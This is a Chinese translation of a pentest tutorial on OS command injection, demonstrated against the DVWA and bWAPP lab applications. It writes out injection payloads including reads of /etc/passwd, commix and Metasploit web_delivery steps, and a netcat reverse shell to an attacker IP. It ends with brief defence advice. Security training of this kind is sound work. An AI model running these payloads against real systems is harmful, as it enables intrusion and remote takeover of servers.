“葵花宝典”——OS命令注入

  • A+

0x00 引言

如果你有特权通过目标服务器的web应用直接在目标服务器上运行任意的系统命令,对渗透来说,岂不美哉?或者可以通过点几下鼠标就能获得反向shell。本文分享的就是OS命令注入,攻击者可以通过一个易受攻击的web应用在目标机器的操作系统上出发一些任意的系统shell命令。

概要

  • 命令注入简介
  • 命令注入产生的渊源
  • 元字符
  • 命令注入种类
  • OS命令注入的影响
  • OS命令注入的利用步骤
  • 手工利用
    • 基本的OS命令注入
    • 黑名单绕过
  • 自动化工具的利用
    • Burp Suite
      • 手工
      • Fuzzing
    • Commix
    • Metasploit
  • OS命令盲注
    • 探测
    • 利用
  • 漏洞防范

0x01 命令注入简介

命令注入也称为Shell注入或OS注入。这是当攻击者尝试直接通过应用程序执行系统级命令来检索Web服务器的信息或试图对服务器进行未经授权的访问时常用的攻击手法。仅当用户提供的数据(该用户数据可以采用任何形式,例如表单,Cookie,HTTP头等)在传递到服务器之前未经正确的验证时,这种攻击才有可能成功。

0x02 命令注入产生的渊源

在许多情况下,开发人员尝试通过使用系统命令将某些功能包含在Web应用程序中。但是,如果应用程序将用户提供的输入直接传递给服务器而没有任何验证,则该应用程序可能会容易受到命令注入攻击。

为了更好地理解这种解释,我们可以考虑下面这种情况:

假设一个提供功能的Web应用程序,任何用户都可以通过其Web界面ping任何特定IP地址以确认主机连接,这意味着该应用程序正在将具有该特定IP的ping命令直接传递给服务器。

0.png

现在,如果攻击者借助这个ping命令,用一些元字符将恶意命令附加在ping命令后实现命令注入。此时,Web应用程序会将所有内容直接传递给服务器以进行执行,从而使攻击者可以获得操作系统的完整访问权限,启动或停止特定服务、查看或删除任何系统文件,甚至获取远程shell。

1.png

0x03 元字符

元字符是符号运算符,用于将实际命令与恶意的系统命令分隔开。分号(;)和连接符(&)主要用作分隔真实输入命令和我们尝试注入的命令的分隔符。
常用的元字符有:

2.1.png

0x04 命令注入种类

基于报错的注入:当攻击者通过输入参数注入命令并且该命令执行后的输出显示在特定网页上时,证明该应用程序容易受到命令注入的攻击。显示的结果可能是报错的形式,或者是您尝试运行的命令的实际结果。然后,攻击者根据Web服务器的shell修改并添加其他命令,并从应用程序中收集信息。

盲注:您注入的命令结果将不会显示给攻击者,并且不会返回任何错误消息。攻击者可能使用另一种技术来确定命令是否确实在服务器上被执行。OS命令注入漏洞是OWASP Top10漏洞之一。接下来我们来看看它的影响。

0x05 OS命令注入的影响

OS命令注入是“CVSS得分为8的高危”中最强大的漏洞之一。
该漏洞被报告于:

1. CWE-77:对命令中使用的特殊元素不恰当的转义(Neutralization)。
2. CWE-78:OS命令中使用的特殊元素不恰当的转义(Neutralization)。

接下来让我们看看它的利用步骤:

0x06 OS命令注入的利用步骤

步骤1:识别输入字段
步骤2:了解功能
步骤3:尝试Ping方法的时间延迟
步骤4:使用各种运算符来利用OS命令注入

至此,我想直到现在您可能对OS命令注入的概念及其利用方法都有了清晰的认识。但是在我们开始演示攻击之前,我们要先清楚一件事,即
“命令注入不同于代码注入”,因为代码注入使攻击者可以添加自己的代码,然后由应用程序执行。在“命令注入”中,攻击者扩展了应用程序的默认功能,该功能执行系统命令,而无需注入代码。来源:
https://www.owasp.org/index.php/Command_Injection

0x07 手工利用

基本的OS命令注入

我已经在浏览器中打开了目标IP,并以admin:password登录到DVWA,在DVWA安全选项中,我将安全级别设置为low。我选择了窗口左侧显示的“Command Injection”漏洞。
系统向我展示了一个存在OS命令注入漏洞的表格,该表格要求“输入IP地址:”。
从下图可以看到,我尝试通过键入127.0.0.1 ping它的本地主机,因此得到了输出结果。

2.png

为了执行“基本OS命令注入攻击”,我使用了“;(分号)”作为元字符,并输入了另一个任意命令,即“ls”
127.0.0.1;ls

3.png

在下面的图片中,您可以看到“;”元字符完成了它的工作,我们能够列出应用程序实际所在目录的内容。同样,我们可以运行其他系统命令,例如“;pwd”、“;id”等。

4.png

黑名单绕过

开发人员很多时候都设置了常用元字符的黑名单,例如“&”、“;”、“&&”、“||”、“#”和其他元字符,以保护其Web应用程序免受命令注入漏洞的危害。
因此,为了绕过这个黑名单,我们需要尝试开发人员忘记添加的所有不同的元字符。
我将安全级别提高为high,并尝试了所有不同的元字符组合。

5.png

在上图中,您可以看到我已经通过使用元字符“|”成功捕获了密码文件

127.0.0.1 |cat /etc/passwd

0x08 自动化工具的利用

Burp Suite

手工

Burpsuite被认为是进行Web渗透测试的最好、最强大的工具之一。因此,我们将尝试通过它破坏Web应用程序。
现在,我通过在浏览器中打开目标IP来使用bee:bug登录到bWAPP,甚至将安全级别设置为“medium”,并将“Choose your bug”选项设置为“OS Command Injection”。

6.png

让我们尝试枚举此“DNS lookup”表单,方法是单击“Lookup”按钮,然后简单地在“Proxy”标签中捕获浏览器的请求,然后将其发送到“Repeater”。

7.0.png

现在,我只需要通过在元字符的帮助下添加一些系统命令(即“pwd”)来操纵目标。
在此,我使用了“|” 作为分隔符,您可以选择自己的分隔符。
单击“Go”选项卡后,响应就会立即生成,并且在窗口的右侧,您可以看到我已经捕获了工作目录。

8.0.png

Fuzzing

在最后一种情况中,我们绕过了黑名单,但我们很幸运,开发人员创建并设置了具有有限元字符组合的列表。但是,仍然需要时间来检查元字符的每种可能组合。因此,很明显,该元字符不能在每个Web应用程序通用,因此,为了绕过这些不同的黑名单,我们将进行fuzzing。
我创建了一个包含所有可能的元字符组合的字典,现在将其简单地包含在我的攻击中。
只需在代理选项卡上单击鼠标右键,然后选择“send to intruder”的选项,即可在burp套件中进行调整并开始拦截请求,一旦捕获到正在进行的请求,便会将其发送到“intruder”。

9.0.png

现在,我们只需将当前标签移动到“Positions”标签,然后使用“ADD”按钮选择要进行攻击的区域,即可设置攻击位置。

10.0.png

是时候插入我们的字典了,现在移至“Payload”选项卡并单击“load”按钮以加载我们的字典文件。

11.0.png

一旦我按下“开始攻击”按钮,就会弹出带有fuzzing结果的新窗口。

从下面的屏幕截图中可以明显看出,我们的攻击已经开始,并且长度部分有所波动。双击length字段,以便首先获得最有价值的信息。

12.0.png

从下图可以看到,我单击第11个请求后,就能够检测到响应选项卡中运行的ls命令。

13.0.png

Commix

有时,fuzzing会耗费大量时间。为了使我们的攻击更简单,更快捷,我们将使用python脚本自动工具“Commix”,该工具可以很容易地找到命令注入漏洞,然后帮助我们加以利用。您可以从此处了解有关Commix的更多信息。
因此,让我们尝试通过在我们的kali机器中进行commix会话来再次攻击Web应用程序。
从下图可以看到,我将安全级别设置为“high”,并且将“Choose your bug”选项选择为“OS Command Injection”。

14.png

Commix适用于Cookie。因此,为了获得它们,我将通过简单地启用代理和拦截选项将浏览器的请求捕获到我的burpsuite中,进一步,当我按下“Lookup”按钮时,burpsuite的“代理”标签将向我展示详细信息。

15.png

使用commix启动Kali Terminal,并使用Referer、Cookie和目标值运行以下命令:

commix --url="http://192.168.0.11/bWAPP/commandi.php" --cookie="security_level=2; PHPSESSID=cc91040cc70b9abdb2fdc637527bf132" --data="target=www.nsa.gov&form=submit"

输入“y”以恢复传统注入点并进入伪终端shell。

16.png

Nice!成功进入目标机。
如果我们可以将此commix shell换成一个meterpreter呢?
捕获commix会话后,我们将尝试通过执行以下命令来生成目标计算机的反向meterpreter会话:

reverse_tcp
set lhost 192.168.0.9
set lport 4444

当我们按下回车键时,它将要求我们选择是否要使用netcat shell或其他(meterpreter)shell。选择选项2,然后再次按Enter。
现在,您将弹出一个新的会话列表,询问您想要哪个meterpreter会话以及是否要使用PHP、Windows、python等。由于我们的目标服务器运行在PHP框架上,因此我们将选择8,即PHP meterpreter反向shell。

17.png

完成所有操作后,它将为我们提供带有执行命令的资源文件。打开一个新的终端窗口,然后在此处键入显示的命令,在本例中,用以下命令:

msfconsole -r /usr/share/commix/php_meterpreter.rc

可以看到我们的commix会话现在有了新的突破

18.png

Metasploit

如果我们可以直接通过Metasploit框架获得meterpreter会话,那就没必要绕个大弯子了。
接下来我们看看
通过运行简单的命令“msfconsole”,将Metasploit框架启动到您的kali终端中。
有很多不同的方法可以为我们提供预期的结果,但是我们将使用web_delivery攻击来找到一种方法来将我们的恶意payload转移到远程计算机中。
键入以下命令来生成我们的payload:

use exploit/multi/script/web_delivery

接下来选择目标
键入“show targets”以获取所有内置目标选项的完整列表。
set target 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.9
set lport 2222
exploit

键入exploit后,一旦我按Enter键,Metasploit框架将生成具有所有基本要素的payload。

19.png

我们差不多完成了,只需要使用任何元字符在命令中包含此payload即可。

在这里,我使用了“&”,以便服务器一个接一个地执行这两个命令。

20.png

在下图中,您可以看到我们再次进入目标系统,但是这次,我们的Metasploit会话功能更加强大。

21.png

0x09 OS命令盲注

探测

因此,到目前为止,我们很幸运,Web应用程序通过其HTTP响应直接在屏幕上返回了命令的输出。但是在许多情况下,应用程序不返回任何内容,但仍在后台进程中运行某些系统命令。因此出现了问题——这样的Web应用程序是否容易受到命令注入的影响?
让我们尝试使用最可靠的方法来找出时间延迟ping命令,以检测应用程序是否受到命令注入的影响。
现在,我已经登录了bWAPP,并在“OS Command Injection–Blind”中选择了“Choose you bug”选项,将安全级别进一步设置为medium。
因此,我已被重定向到遭受命令注入漏洞影响的Web应用程序。
让我们检查一下此应用程序是否确实受到了操作系统命令注入的影响。
在提供的字段中输入任何IP地址,然后打开burpsuite监视器,以捕获正在进行的http请求,从而将其全部转发到“repeater”选项卡中。

22.png

现在,我们将尝试使用

ping –c 10 192.168.0.9

当我单击“Go”选项卡时,花了大约10秒钟来显示响应结果,从而确认此Web应用程序正遭受OS Command Injection的困扰。

23.png

利用

截至目前,我们已确认我们尝试浏览的应用程序正遭受命令注入漏洞的困扰。让我们尝试通过使用netcat生成反向shell来触发此Web应用程序。
从下图可以看到,我已经检查了我的Kali机器的IP地址,并使用以下命令在端口号2000处设置了netcat侦听器
nc –lvp 2000

其中l表示监听、v表示具体模式、p表示端口。

24.png

现在,在网络应用程序上,我将netcat系统命令和localhost命令注入到输入字段中,即

localhost|nc 192.168.0.9 –e /bin/bash

-e /bin/bash授权netcat命令在侦听器计算机上执行bash shell。

25.png

我们通过我们的kali机器进入受害者的shell,现在我们可以从此处运行任何系统命令。

26.png

0x10 漏洞防范

开发人员应设置一些强大的服务器端验证代码,并实施一组白名单命令,该命令仅接受字母和数字,而不接受字符。
您可以从以下代码片段中全面检查所有内容,这些代码片段可以保护Web应用程序不暴露于命令注入漏洞。

27.png

避免应用程序直接调用OS系统命令,如果需要,开发人员可以使用内置API与操作系统进行交互。
开发人员甚至应确保该应用程序必须以最少的特权运行。

==本文译自:https://www.hackingarticles.in/comprehensive-guide-on-os-command-injection/
原作者:Chiragh Arora
致敬所有对本文创作有贡献的人==